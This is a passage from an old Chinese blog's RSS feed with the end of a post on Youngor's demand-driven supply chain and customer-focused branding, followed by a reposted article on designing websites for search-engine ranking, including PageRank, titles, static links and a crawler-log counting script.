				<span style="font-size: 12pt; font-family: 宋体;" lang="EN-US">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: left;" align="left">
				<span style="font-size: 12pt; font-family: 宋体;" lang="EN-US"> <o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: left;" align="left">
				<b style="">
						<span style="font-size: 10pt; font-family: 宋体;">“点菜”</span>
				</b>
				<b style="">
						<span style="font-size: 10pt; font-family: Arial;" lang="EN-US">Vs</span>
				</b>
				<b style="">
						<span style="font-size: 10pt; font-family: 宋体;">“喝酒”</span>
				</b>
				<span style="font-size: 12pt; font-family: 宋体;" lang="EN-US">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: left;" align="left">
				<span style="font-size: 12pt; font-family: 宋体;" lang="EN-US"> <o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: left;" align="left">
				<span style="font-size: 10pt; font-family: 宋体;">酒
足饭饱时饭桌上常剩下一堆菜，但酒杯里的酒却必定喝完；因为酒杯里的酒是边喝边斟，而饭桌上的菜却是饭前点好的。这就是“点菜”与“喝酒”的区别。雅戈尔
集团从这个简单的生活现象中，悟出了供应链管理的真谛，让销售终端的计算机系统充当“服务员”，根据“酒杯”的需求为其“斟酒”，制造工厂根据需求及时调
整生产计划。</span>
				<span style="font-size: 12pt; font-family: 宋体;" lang="EN-US">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: left;" align="left">
				<span style="font-size: 12pt; font-family: 宋体;" lang="EN-US"> <o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: left;" align="left">
				<span style="font-size: 10pt; font-family: 宋体;">雅
戈尔供应链系统是雅戈尔信息战略规划的核心部分。关于雅戈尔集团的供应链系统，韩永生有一个生动的比方——“喝酒模式”。他说：“我们在请客吃饭的时候，
总是会点一大堆菜，吃完了以后剩下满桌子都是菜，而喝酒不管情绪好不好周转率极高。原因就在于，喝酒是需求式的，要多少斟多少。推行喝酒模式，就是把全国
的代理店变成透明酒杯，用计算机监控每天的销售，计算出每个酒杯该加多少酒，第二天全部补充上。”</span>
				<span style="font-size: 10pt; font-family: Arial;">
				</span>
				<span style="font-size: 12pt; font-family: 宋体;" lang="EN-US">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: left;" align="left">
				<span style="font-size: 12pt; font-family: 宋体;" lang="EN-US"> <o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: left;" align="left">
				<span style="font-size: 10pt; font-family: 宋体;">沿
用“喝酒”逻辑，供应链的管理核心就变成以供应链的灵活性适应市场的变化，变订单式的“推动”生产为无订单式的“拉动”生产。所有的门店都变成透明的“酒
杯”，计算机系统是“服务员”，它可以“看”喝什么酒，每种酒还剩多少，可以喝多长时间。然后，计算机系统精确地定位，每天都把门店的货结清，传到配送中
心，变成无订单发货。信息系统是一个支撑的工具，关键在于业务模式的先进性，而不在于信息的先进性。传统的生产方式是下订单，由面料生产到成衣生产再到销
售终端。在这样一个链条下，信息系统再先进也无济于事。喝酒模式为雅戈尔打造了一个全新的业务模式，所有的信息系统都依赖于这样一个逻辑。</span>
				<span style="font-size: 10pt; font-family: Arial;">
				</span>
				<span style="font-size: 12pt; font-family: 宋体;" lang="EN-US">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: left;" align="left">
				<span style="font-size: 12pt; font-family: 宋体;" lang="EN-US"> <o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: left;" align="left">
				<b style="">
						<span style="font-size: 10pt; font-family: 宋体;">塑造个性化男人</span>
				</b>
				<span style="font-size: 12pt; font-family: 宋体;" lang="EN-US">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: left;" align="left">
				<span style="font-size: 12pt; font-family: 宋体;" lang="EN-US"> <o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: left;" align="left">
				<span style="font-size: 10pt; font-family: 宋体;">服
装有功能属性、社会属性和体验属性，无形资产是有形资产的好几倍，品牌就是无形资产，一个品牌就是一个承诺，品牌的背后是客户。企业要从经营“产品”转移
到经营“客户”上来。如果还沿着“产品”这条路走的话，就会死路一条。如果从“情感”的角度出发，沿着“塑造男人”的路来走，进而实现塑造个性化男人的目
的。不要把所有的男人都作为你要塑造的对象，从中分离出一部分男人，比如低调奢华的男人。</span>
				<span style="font-size: 12pt; font-family: 宋体;" lang="EN-US">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: left;" align="left">
				<span style="font-size: 12pt; font-family: 宋体;" lang="EN-US"> <o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: left;" align="left">
				<span style="font-size: 10pt; font-family: 宋体;">我觉得更重要的是让员工懂得毛主席对我们的教导</span>
				<span style="font-size: 10pt; font-family: Arial;" lang="EN-US">“</span>
				<span style="font-size: 10pt; font-family: 宋体;">为人民服务</span>
				<span style="font-size: 10pt; font-family: Arial;" lang="EN-US">”</span>
				<span style="font-size: 10pt; font-family: 宋体;">，
我们要让每个员工都为我们的消费者服务，为消费者的灵魂服务，要让消费者每次和我们的接触都留下一个感动的故事，要做到这个情况，买你一次东西，跟你一次
结构，都有一种品牌的体验，有一个良好的印象。中国人的嘴快，可以让消费者为你传播你的品牌，这个是一个魂，从总裁到员工都应该有这个魂，古话说了</span>
				<span style="font-size: 10pt; font-family: Arial;" lang="EN-US">“</span>
				<span style="font-size: 10pt; font-family: 宋体;">先天下人之乐而乐</span>
				<span style="font-size: 10pt; font-family: Arial;" lang="EN-US">”</span>
				<span style="font-size: 10pt; font-family: 宋体;">，我觉得这个是本质。</span>
				<span style="font-size: 12pt; font-family: 宋体;" lang="EN-US">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: left;" align="left">
				<span style="font-size: 10pt; font-family: 宋体;">中国人讲好心有好报的，如果你用心服务你的员工，这个时候心连心，你的员工就会好好服务消费者，这个就会有好报的。</span>
				<span style="font-size: 12pt; font-family: 宋体;" lang="EN-US">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: left;" align="left">
				<span style="font-size: 12pt; font-family: 宋体;" lang="EN-US"> <o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: left;" align="left">
				<span style="font-size: 10pt; font-family: 宋体;">用
心其实很容易的，不遥远的，比如我昨天来的时候给了我一个礼物，我一般的礼物都是给别人的，我一看上面写了我的名字，所以这个礼物我就不会给别人了。比如
说你员工的生日，你董事长发一个短消息，员工一定很感动，你的店长送一支玫瑰花，那么你的员工也会很感动的。所以我们对我们的顾客也是这样的，如果你的消
费者在生日的时候也收到了一个祝福的短信，保证这个客户很感动。我们用心去关怀我们的客户，那么我们就会和我们的顾客心连心了。所以我们一定要进入客户的
心。所以我觉得内核是核在心。</span>
				<span style="font-size: 12pt; font-family: 宋体;" lang="EN-US">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: left;" align="left">
				<span style="font-size: 12pt; font-family: 宋体;" lang="EN-US"> <o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: left;" align="left">
				<span style="font-size: 10pt; font-family: 宋体;">如
果我们从客户的情感角度出发，我们就可以来涉及客户和我们的接触点，我们是一个专卖店或者是一个超市，我们可以了解客户是怎么样了解我们的，怎么样进入我
们的店的，客户怎么样挑选东西，怎么样和服务员进行沟通，客户怎么样进行付款，怎么样离开，全部的过程我们都应该精心设计，让每个客户都方便，在与客户互
动过程当中，增加我们和客户互动的机会，每个机会都是我们跟客户的一种交流，来增加客户对我们的了解，我们让客户知道这个产品怎么样更加适合他们，每个细
节如果都精心设计了，别的店也有，你的店也有，他们会选择你的店，因为在你的店里面是一种体会，是一种体验，有很好的经验的分享。所以我强调，物是一部
分，而无形的神也是一部分，所以我们要经营人的感觉，所以经营人的感觉应该是我们经营的主体，而不仅仅是看到这个钱，要为顾客提供一种感动的感觉。那么我
们就成功了。</span>
				<span style="font-size: 12pt; font-family: 宋体;" lang="EN-US">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="margin: 0cm 0cm 0pt;">
				<span lang="EN-US">
						<o:p> </o:p>
				</span>
		</p>
<img src ="http://www.cnitblog.com/martin/aggbug/9456.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/martin/" target="_blank">Martin</a> 2006-04-21 17:11 <a href="http://www.cnitblog.com/martin/archive/2006/04/21/9456.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[转] 提高网站在Google中的排名—面向搜索引擎的网站设计</title><link>http://www.cnitblog.com/martin/archive/2006/04/21/9455.html</link><dc:creator>Martin</dc:creator><author>Martin</author><pubDate>Fri, 21 Apr 2006 08:47:00 GMT</pubDate><guid>http://www.cnitblog.com/martin/archive/2006/04/21/9455.html</guid><wfw:comment>http://www.cnitblog.com/martin/comments/9455.html</wfw:comment><comments>http://www.cnitblog.com/martin/archive/2006/04/21/9455.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/martin/comments/commentRss/9455.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/martin/services/trackbacks/9455.html</trackback:ping><description><![CDATA[
	From http://kevinwan.cnblogs.com/archive/2006/04/14/375606.html<br /><br /><a href="http://www.chedong.com/" title="http://www.chedong.com" target="_self">车东</a>写的关于面向搜索引擎的网站设计系列文章的一个长篇,虽然希望自己的BLOG更多是原创文章,不过如此好文与总结还是要转过来的收藏+共享的,我想,从事网站设计的人是必读的.
<p></p><p><strong>内容摘要：</strong><br />    目前中文网站在整个互联网中的影响还比较小，这主要是由于中文网站总体的水平（技术上，内容上）都还相对落后造成的，最主要的表现有：</p><ol><li>行业知识：不知道搜索引擎对吸引的新用户的重要性，在搜索引擎排名服务中追求“傻瓜相关”，购买一些其实没有太多实际意义的行业关键词。其实能够用户输入的关键词越多，其目标性越强，这样的客户价值越高。用户能够直接定位到产品具体内容页比到网站首页有价值的多； </li><li>发布技术：网站的网页进入Google的索引量非常小，主要是由于大量使用动态网页造成的。需要将<a href="http://www.ivis.cn/yubing/blog/wp-admin/google_url.html">动态页面链接改写成静态链接</a>； </li><li>页面设计：页面标题重复，关键词不突出，过渡使用JavaScript脚本/图片/Flash等不适合搜索引擎索引的非文本形式； </li></ol><p>     而以上这些问题的根本原因还是网站自身缺乏<a href="http://www.ivis.cn/yubing/blog/wp-admin/awstats.html">日志统计分析</a>造成：因此无法看到SEO对网站自身产生的巨大影响。
</p><p>     SEO的目的是通过一些简单的策略，让网站自身的水平在互联网中有一个真实的体现。<br />     网站结构设计中面向搜索引擎的优化注意事项包括：</p><ul><li><a href="http://cero.cn/weblog/8.html#link">链接引用的重要性；</a></li><li><a href="http://cero.cn/weblog/8.html#keyword">如何突出关键词：网页标题、主题的设计；</a></li><li><a href="http://cero.cn/weblog/8.html#web">页面及站点结构设计注意事项；</a></li><li><a href="http://cero.cn/weblog/8.html#stat">以及站点访问统计的重要性等；</a></li><li><a href="http://cero.cn/weblog/8.html#guide">Google的站点设计指南</a></li></ul><h2>什么是PageRank</h2><p>     Google等新一带搜索引擎的优势之一在于不仅索引量很大，而且还将最好的结果排在搜索结果的最前面，具体的原理可以参考<a href="http://www.kusastro.kyoto-u.ac.jp/%7Ebaba/wais/pagerank.html">Google の秘密 - PageRank 徹底解説</a>一文，PageRank简单的说类似于科技论文中的引用机制：谁的论文被引用次数多，谁就是权威。在互联网上PageRank就是基于网页中相互链接关系的分析得出的。</p><p>     此外，从计算方法角度阐述PageRank机制还有这篇文章：<a href="http://pr.efactory.de/">http://pr.efactory.de/</a>里面有更详细的PageRank算法说明和各种清晰的小型个案分析：</p><p>比如：子页中导航条的重要性<br />B &lt;=&gt; A =&gt; C   <br />Vs   <br />B &lt;=&gt; A &lt;=&gt; C   （好）</p><p>页面数量因素：<br />B &lt;=&gt; A &lt;=&gt; C<br />Vs<br />F &lt;=\   /=&gt; G<br />B &lt;=&gt; A &lt;=&gt; C   （好）<br />D &lt;=/   \=&gt; E</p><p>一个意想不到的结论：<br />(B &lt;=&gt; A &lt;=&gt; C)      ( E &lt;=&gt; D &lt;=&gt; F)<br />Vs<br />(B &lt;=&gt; A &lt;=&gt; C)  &lt;=&gt; ( E &lt;=&gt; D &lt;=&gt; F)</p><p>     PageRank升高的只是被链接的2个首页A和D，而网站子页面的PageRank平均会略有下降。同时：一个网站进入Google的索引量越大其受类似因素影响越小。<br />PageRank不对称的页面互链：</p><p>     Google会用BadRank之类的算法进行纠正，而且一个网页着有来自“与其自身不相称”的高PageRank站点的链接，而自身又缺少足够数量和质量的反相链接的话，其PageRank会自动降低为0，A(pr=7) &lt;=&gt; B(pr=0)<br />简单的说就是：偶尔要被权威站点反相链接不算数，要被足够多的权威站点引用才能提高自身网页的PageRank。<br /><a href="http://mes.nju.edu.cn/research/papers/Survy03-10.doc">Web超链分析算法综述（南京大学论文）</a> 更多论文可以通过搜索：“filetype:pdf google pagerank anchor text bayesian”得到</p><h2><strong><a name="link">链接就是一切</a></strong></h2><p>     在互联网的海洋中，最重要的就是互联互通，不被其他网站引用的网站就是“信息孤岛”。“酒好也怕藏的深”，也许这话说起来有点像垃圾邮件广告，但事实就是这样。所以如果做网站的目的不是孤芳自赏，就需要积极的推广自己的网站。<span><br /></span>     通过搜索引擎推广自己需要注意以下几个方面：</p><ol><li>以量取胜：不一定加入传统门户网站的分类目录才是网站推广，来自其他网站的任何反相链接都是有用的<br />网站推广比较经典的方式就是加入比较大型门户网站的分类目录，比如：<a href="http://www.yahoo.com/">Yahoo!</a>，<a href="http://dmoz.org/">dmoz.org</a>等。
    其实这里有一个误区：不一定非要加入大型网站的分类目录才是网站推广，因为现在搜索引擎已经不再只是网站目录的索引，而是更全面的网页索引，所以无论来自
    其他网站任何地方的反相链接都是非常有价值的，哪怕是出现在新闻报道，论坛，邮件列表归档中。Blogger（Weblog的简称）们也许最深刻地理解了
    “链接就是一切”这句话的含义，由于Blog的内容之间有大量的相互链接（他们之间利用RSS很容易进行链接大量传播），因此最经常被引用的Blog页面
    在搜索引擎中的排名往往比一些大型商业网站的页面还要高。而WIKI这样的文档管理系统更加突出了良好结构，良好引用的特征。而目前很多网站通过在各种
    WIKI/留言簿中灌注垃圾留言的方法，这种方式是非常不可取的。这种链接不稳定： </li><li>以质取胜：被PageRank高的网站引用能更快地提高PageRank<br />数量只是关键因素之一，来自PageRank高的页面的链接还能更快的提高被链接目标的PageRank，我只是将一些文章投稿在了<a href="http://www.zdnet.com.cn/">ZDNet中国</a>上，由于页面上有文章出处链接，相应网页和网站整体的PageRank过了一段时间后就有了很大的提升。有时候被什么样的网站引用有时候比引用次数多更重要。这里我要特别感谢的是，当时<a href="http://www.zdnet.com.cn/">ZDNet中国</a>是唯一遵循了我的版权声明的要求表明了文章出处，并且有反相链接的网站。<br />按照这个原则：能够名列Yahoo!和DMOZ这样的大型权威目录的头2层是非常有价值的。 </li><li>了解搜索引擎的"价值观"：<br /><a href="http://www.ivis.cn/yubing/blog/wp-admin/lucene.html">Lucene简介</a>这篇文章被Jakarta.apache.org的<a href="http://jakarta.apache.org/lucene/">lucene项目</a>引用以后，这篇文章就成为了所有页面中PageRank最高的页面，而Google支持的一些项目，比如：<a href="http://www.equn.com/folding/">Folding@Home</a>，让我一直怀疑他们对政府，教育和非盈利组织的站点有特别加分，毕竟.org .edu才代表了互联网的实质：分权和共享。<br />但更合理的解释是：.org很多都是开放技术平台的开发者，他们会在首页这样的地方加入Powered By Apache, Power by FreeBSD之类的链接表示对其他开源平台的尊重，所以象<a href="http://www.apache.org/">Apache</a>, <a href="http://www.php.net/">PHP</a>, <a href="http://www.freebsd.org/">FreeBSD</a>这样的开源站点在GOOGLE中都有非常高的PageRank。而在.edu这些站点中，很多都是学术性比较强的文档，以超链接形式标明参考文献的出处已经成为一种习惯，而这也无疑正是PageRank最好的依据。<br /><span>注意：不要通过Link Farm提高自身的站点排名：Google会惩罚那些主动链接到Link Farm站点以提高自身排名站点，相应站点的页面将不会被收入到索引中。但如果你的页面被别的Link Farm链接了也不必担心，因为这种被动的链接是不会被惩罚的。</span></li><li>不要吝啬给其他网站的链接：如果一个网页只有大量的进入链接，而缺乏导出链接，也会被搜索引擎认为是没有价值的站点。保证你的网站能够帮助搜索引
    擎更准确地判断哪些是对用户最有价值的信息，也就是说如果你的网站只有外部反向链接而没有导出链接的话，也会对你的网站在搜索结果中的表现带来负面影响。
    当然网站中连一个导出链接都没有的情况非常罕见，除非你是刻意这么做。正常情况下大家都会自然地在网页中加上一些其他网站的链接，带领访问者去到我们认为
    重要或能够提供更多有价值信息的地方， </li></ol><p>     另外在推广自己网站之前也许首先需要了解自己网站目前在一些搜索引擎中的知名度，原理非常简单，可以参考<a href="http://www.chedong.com/tech/link_pop_check.html">如何评价网站的人气</a>一文。</p><p>    
网站推广只是手段，如何突出内容、让需要相关信息的用户能够尽快的找到你的网站才是目的，PageRank高并不代表像Yahoo!这样的门户站点就能在
所有搜索结果中排名靠前，因为搜索引擎的结果是搜索关键词在页面中的匹配度和页面的PageRank相结合的排名结果。因此第二个要点：如何突出关键词。</p><h2><a name="keyword"><strong>如何突出关键词：面向主题(Theme)的关键词匹配</strong></a></h2><ol><li> <a href="http://www.google.com/search?q=%22theme+engine%22">Theme Engine</a>正在逐步超过PR，成为结果排序中更主要的因素，可以比较一下以下现象：
    <ul><li>为什么查“新闻”，“汽车”之类的文字，各种门户网站的首页不在第一位？要知道他们的页面中都有相应频道的链接文字的 </li><li>一篇新闻页面中，搜索引擎如何不通过模板匹配，自动将新闻的主体和页面中的页头，栏目导航条，页尾等部分的内容区分开的？ </li></ul><p>其实以上问题都可以归结为网页内容摘要的提取策略和关键词在其中的命中：<br />首先将能够描述一个页面内容的分成以下几种类型：
    </p><ol><li>链入文字描述：inbound link text<br />http://www.searchenginedictionary.com/terms-inbound-link.shtml</li><li>HTML页面标题：title 好标题一般会将页面中最重要的关键词放在最前面，比如：ABC-10型吸尘器 - XX家电城 </li><li>HTML内容主体：content text </li><li>链出文字：outbound link text</li></ol><p>如果按照以下规则：<br />一个页面中关键词命中权重：链入文字 &gt; HTML标题文字 &gt; HTML页面主体内容 &gt;&gt; 出链文字，以上现象就比较好解释了。<br />链
    入文字是页面上看不见的，但链入文字对被链接页面有巨大的作用：在现代搜索引擎在关键词匹配的过程中，匹配的过程不只看当前页面的内容摘要：很大程度上，
    不只看这个网页自己说自己有什么内容，还要看别人如何链接时，如何描述你的网站别人怎么称呼你，比你自己说自己更重要。。<br />比如查：“世界卫生组
    织”，返回结果中有 http://www.who.int/
    而这个页面中是没有中文的，之所以能匹配上，是因为很多链接它的中文网站使用了：&lt;a
    href="http://www.who.int/"&gt;世界卫生组织&lt;/a&gt;，所以，这个页面中不存在的中文关键词也成为了页面摘要
    的一部分。这样一想，就可以知道链出链接的文字其实是为被链接的子频道首页或者内容详情页服务的。对自身页面的关键词密度只有负面的影响，这也是
    Google建议一个页面中链接不要超过100个的原因：他根本不索引100个链接以后的内容。按照以上规则，搜索引擎将一篇新闻详情页中的新闻内容提取
    出来就是把页面上所有带HTTP链接的文字都去掉，就是新闻的内容部分了，更精确一些可以通过取最长文本段落等策略实现；而很多网站首页或频道首页中几乎
    全部都是链接，经过搜索引擎分析的结果就是：什么内容也没有，能够被命中的关键词仅仅是别人链接你用的“网站首页”和频道标题Title中的站点名称等的
    几个关键词，而页面中其他的文字则远远不如相应子频道和具体内容页面的匹配度高，而搜索引擎能够通过以上规则，让用户更快的直接定位到有具体内容的内容详
    情页面。因此希望通过一个首页，尽可能多的命中所有希望推广的关键词是不可能的。<a href="http://www.ivis.cn/yubing/blog/wp-admin/google_url.html">让网页尽可能多的进入搜索引擎的索引</a>，然后把握好整个网站的主题风格是非常重要的，让网站的主题关键词能够比较均匀的按照金字塔模式分布到网站中可以参考：<a href="http://www.searchengineworld.com/engine/theme_pyramids.htm">网站的主题金字塔设计</a>          网站名称（用户通过1－2个抽象关键词）<br />         /       \<br />    子频道1   子频道2 （用户通过2－3个关键词命中）<br />   /    \      /    \<br />产品1  产品2 文章1 文章2 (用户通过3－4个关键词命中：这种用户最有价值)</p></li><li>不要空着标题：空着&lt;title&gt;&lt;/title&gt;无异于浪费了最有价值的一块阵地；<br /><strong>不要使用meta keywords/description</strong><br />传统的页面中，HTML页面中会有类似以下的隐含信息，用于说明当前网页的主要内容关键字：<br />&lt;header&gt;<br />    &lt;meta name="keyword" content="mp3 download music…"&gt;<br />&lt;/header&gt;<br />后
    来由于这种人工添加关键词的方式被滥用，大量网页中为了提高被搜索引擎命中的概率，经常添加一些和实际网页内容无关的热门关键比如：“music
    mp3 download”等，所以新一代的搜索引擎已经不再关心页面头文件中的人工meta
    keyword声明，而页面标题在搜索引擎的关键词的命中命中过程中往往有着更高的比重，如果一个关键词在标题中命中会比在页面中命中有更高的得分，从而
    在相应的搜索结果排名中更靠前。 </li><li>标题长度和内容：不要过长，一般在40个字(80个字节)以内，并充分突出关键词的比重；<br />如果更长的标题搜索引擎一般会忽略掉，所以要尽
    可能将主要关键词放在标题靠前的位置。省略掉不必要的形容词吧，毕竟用户主要通过名词来找到需要的内容。标题内容：尽量用一些别人可以通过关键词找到的字
    眼（也别太过头，如果标题中的字眼超过1半内容中都没有，有可能被搜索引擎排除出索引），因此基于web日志中来自其他搜索引擎的关键词查询统计非常必
    要。 </li><li>如果网页很多的话，尽量使用不同的网页标题，争取让自己网站的内容更多的进入搜索引擎索引范围；<br />因为搜索引擎会根据页面内容的相似度把一些内容当成重复页面排除出索引范围；<br /><a href="http://www.chedong.com/phpMan.php">http://www.chedong.com/phpMan.php</a>是
    我的网站上的一个小应用：一个web界面的unix命令手册（man page），在以前的设计中所有动态页面使用的都是同样的标题："phpMan:
    man page /perldoc /info page web interface"
    ，Google索引了大约3000多个页面，后来我将页面标题改成了"phpMan:  [命令名]"这样的格式，比如："phpMan:
    ls"，这样大部分动态页面的标题就都不一样了，一个月后Google从这个页面入口索引了大约6000个页面。因此，如果网站中很多网页都使用相同的标
    题，比如：“新闻频道”，“论坛”，这些页面中很大一部分就会被排重机制忽略掉。 </li><li>除了&lt;title&gt;&lt;/title&gt;外，还可以用&lt;h1&gt;&lt;/h1&gt;标题行突出内容主题，加强标题的效果；<br />在我的网站设计中：我会把用&lt;h1&gt;[标题]&lt;/h1&gt;这样的模板把标题突出显示，而不是通过改变字体的方式突出标题。 </li></ol><h2><strong><a name="web">其他网站设计提示</a></strong></h2><ol><li>静态链接：Blog网站另外一个优势在于其网页是静态链接：动态网页占到整个互联网内容的90％以上。<span>各个搜索引擎其实能够表现的都只不过是互联网的冰山一角(3-5%)，不同的只是谁让优质网页排名靠前的策略更优秀而已：</span>大
    部分搜索引擎都认为静态链接的网页是优质网页，Google在优先抓取索引的网页中70%以上是不带参数链接的静态网页。而且即使同样的内容，静态网页也
    会比动态网页权重高：很容易理解：query?a=1&amp;b=2这样的链接由于参数顺序颠倒的query?b=2&amp;a=1完全相同。尽量使
    用静态网页：目前能够动态网页进行全面的索引还比较难，而即使是Google也更不会索引所有的内容，因此很少会对参数超过2个的动态网页进行进一步的抓
    取和分析。以下是一个phpBB论坛页面返回的HTTP头信息：
    <pre><div style="border: 1px solid rgb(204, 204, 204); padding: 4px 5px 4px 4px; background-color: rgb(238, 238, 238); font-size: 13px; width: 98%;"><span style="color: rgb(0, 0, 0);">HTTP/1.1 200 OK<br />Date: Wed, 28 Jan 2004 12:58:54 GMT <br />Server: Apache/1.3.29 (Unix) mod_gzip/1.3.26.1a PHP/4.3.4 <br />X-Powered-By: PHP/4.3.4 <br />Set-Cookie: phpBB_data=a%3A0%3A%7B%7D;<br /></span></div><br /></pre></li><li><pre> <br /><div style="border: 1px solid rgb(204, 204, 204); padding: 4px 5px 4px 4px; background-color: rgb(238, 238, 238); font-size: 13px; width: 98%;"><!--<br><br>Code highlighting produced by Actipro CodeHighlighter (freeware)<br>http://www.CodeHighlighter.com/<br><br>--><span style="color: rgb(0, 0, 0);">expires=Thu, 27-Jan-2005 12:58:54 GMT; path=/; <br />Set-Cookie: phpBB_sid=09f67a83ee108ecbf11e35bb6f36fcec; path=/; <br />Content-Encoding: gzip <br />Cache-Control: private, pre-check=0, post-check=0, max-age=0 <br />Expires: 0 <br />Pragma: no-cache <br />Connection: close <br />Content-Type: text/html </span></div><br /></pre><p>为了避免隐私问题：Googlebot可以通过对页面http header中的session id和session cookie进行一些甄别，这样很多需要认证信息的论坛内容就无法进入索引了。<br />总体上说Google喜欢新的，静态的内容。因此无论从效率上讲还是方便搜索引擎收录：使用内容发布系统将网站内容发布成静态网页都是非常必要的，从某种程度上说google friendly = anonymous cache friendly。<br />比如：http://www.chedong.com/phpMan.php/man/intro/3<br />比http://www.chedong.com/phpMan.php?mode=man&amp;parameter=intro&amp;section=3这样的链接更容易进入搜索引擎的索引。而且在URL中的命中也能突出关键词。
    </p></li><li>能够进入Google索引的页面数量越多越好。用类似以下的脚本可以统计自己的网站被搜索引擎索引的情况。
    <pre><div style="border: 1px solid rgb(204, 204, 204); padding: 4px 5px 4px 4px; background-color: rgb(238, 238, 238); font-size: 13px; width: 98%;"><!--<br><br>Code highlighting produced by Actipro CodeHighlighter (freeware)<br>http://www.CodeHighlighter.com/<br><br>--><span style="color: rgb(0, 0, 0);">#!/bin/sh<br />YESTERDAY=`date -d yesterday +%Y%m%d`<br /># for FreeBSD: YESTERDAY=`date -v-1d +%Y%m%d`  LOG_FILE='/home/apache/logs/access_log'<br />grep -i Googlebot $LOG_FILE.$YESTERDAY|awk '{print $7}' |sort | uniq -c | sort -rn &gt;<br />    spider/$YESTERDAY.googlebot.txt<br />grep -i baiduspider $LOG_FILE.$YESTERDAY|awk '{print $7}' |sort | uniq -c | sort -rn &gt;<br />    spider/$YESTERDAY.baiduspider.txt<br />grep -i msnbot $LOG_FILE.$YESTERDAY|awk '{print $7}' |sort | uniq -c | sort -rn &gt;<br />    spider/$YESTERDAY.msnbot.txt<br />grep -i inktomi $LOG_FILE.$YESTERDAY|awk '{print $7}' |sort | uniq -c | sort -rn &gt;<br />    spider/$YESTERDAY.inktomi.txt<br />grep -i openbot $LOG_FILE.$YESTERDAY|awk '{print $7}' |sort |uniq -c | sort -rn &gt;<br />    spider/$YESTERDAY.openbot.txt     </span></div><br /><br /></pre></li><li>网站目录结构要扁平，因为每深一级目录，PAGERANK降低1－2个档次。假设首页是3，其子可能目录就是1了，更深可能就无法列入评级范围了。</li><li>表现和内容的分离：“绿色”网页<br />网页中的javascript和css尽可能和网页分离，一方面提高代码重用度（也方便页面缓存），另外
    一方面，由于有效内容占网页长度的百分比高，也能提高相关关键词在页面中的比重也增加了。总之，应该鼓励遵循w3c的规范，使用更规范的XHTML和
    XML作为显示格式便于内容更长时间的保存。 </li><li>让所有的页面都有能够快速入口：<a href="http://www.chedong.com/sitemap.html">站点地图</a>，方便网页爬虫（spider）快速遍历网站所有需要发布的内容。如果首页就是用Flash或图片进入的话，无异于将搜索引擎拒之门外，除了UI设计的用户友好外，spider friendly也是非常重要的。 </li><li>保持网站自身的健康：经常利用<a href="http://home.snafu.de/tilman/xenulink.html">坏链检查工具</a>检查网站中是否有死链。 </li><li>保持网页内容/链接的稳定性和持久性：在搜索引擎索引中网页存在的历史也是一个比较重要的因素，而且历史比较久的网页被链接的几率越高。为了保证
    自己网页能够被比较持久的被其他网站的页面引用，如果自己网页中有链接更新时，最好能保留旧的页面并做好链接转向，以保持内容的连续性。要知道，把一个网
    站和内容在搜索引擎中的排名“培养”的很高是一件非常不容易的事情，谁都不希望好不容易自己的内容被别人找到了，点击却是“404
    页面不存在”吧，因此站点管理员对自身站点error.log的分析也是非常必要的。 </li><li>文件类型因素：Google有对PDF, Word(Power Point, Excel),
    PS文档的索引能力，由于这种文档的内容比一般的HTML经过了更多的整理，学术价值一般比较高，所以这些类型的文档天生就比一般的HTML类型的文档
    PageRank要高。因此，对于比较重要的文档：技术白皮书，FAQ，安装文档等建议使用PDF
    PS等高级格式存取，这样在搜索结果中也能获得比较靠前的位置。 </li><li>常常能发现门户站点的一条新闻往往比其他站点的首页排名还要靠前。因此一个站点总体PageRank提高了以后，往往自身一些并不重要的内容也会
    被同那些高PageRank的内容一起带入被搜索引擎优先查询的列表中。这样经常造成很多大的开发站点的邮件列表归档往往比其他站点的首页
    PageRank还要高。 </li></ol><h2><strong><a href="http://www.ivis.cn/yubing/blog/wp-admin/awstats.html" name="stat">知己知彼——站点访问统计/日志分析挖掘的重要性</a></strong></h2><p>    
网站设计不仅仅只是被动的迎合搜索引擎的索引，更重要是充分利用搜索引擎带来的流量进行更深层次的用户行为分析。目前，来自搜索引擎关键词统计几乎是各种
WEB日志分析工具的标准功能，相信商业日志统计工具在这方面应该会有更强化的实现。WEB日志统计这个功能如此重要，以至于新的RedHat
8中已经将日志分析工具webalizer作为标准的服务器配置应用之一。</p><p>     以Apache/webalizer为例，具体的做法如下：
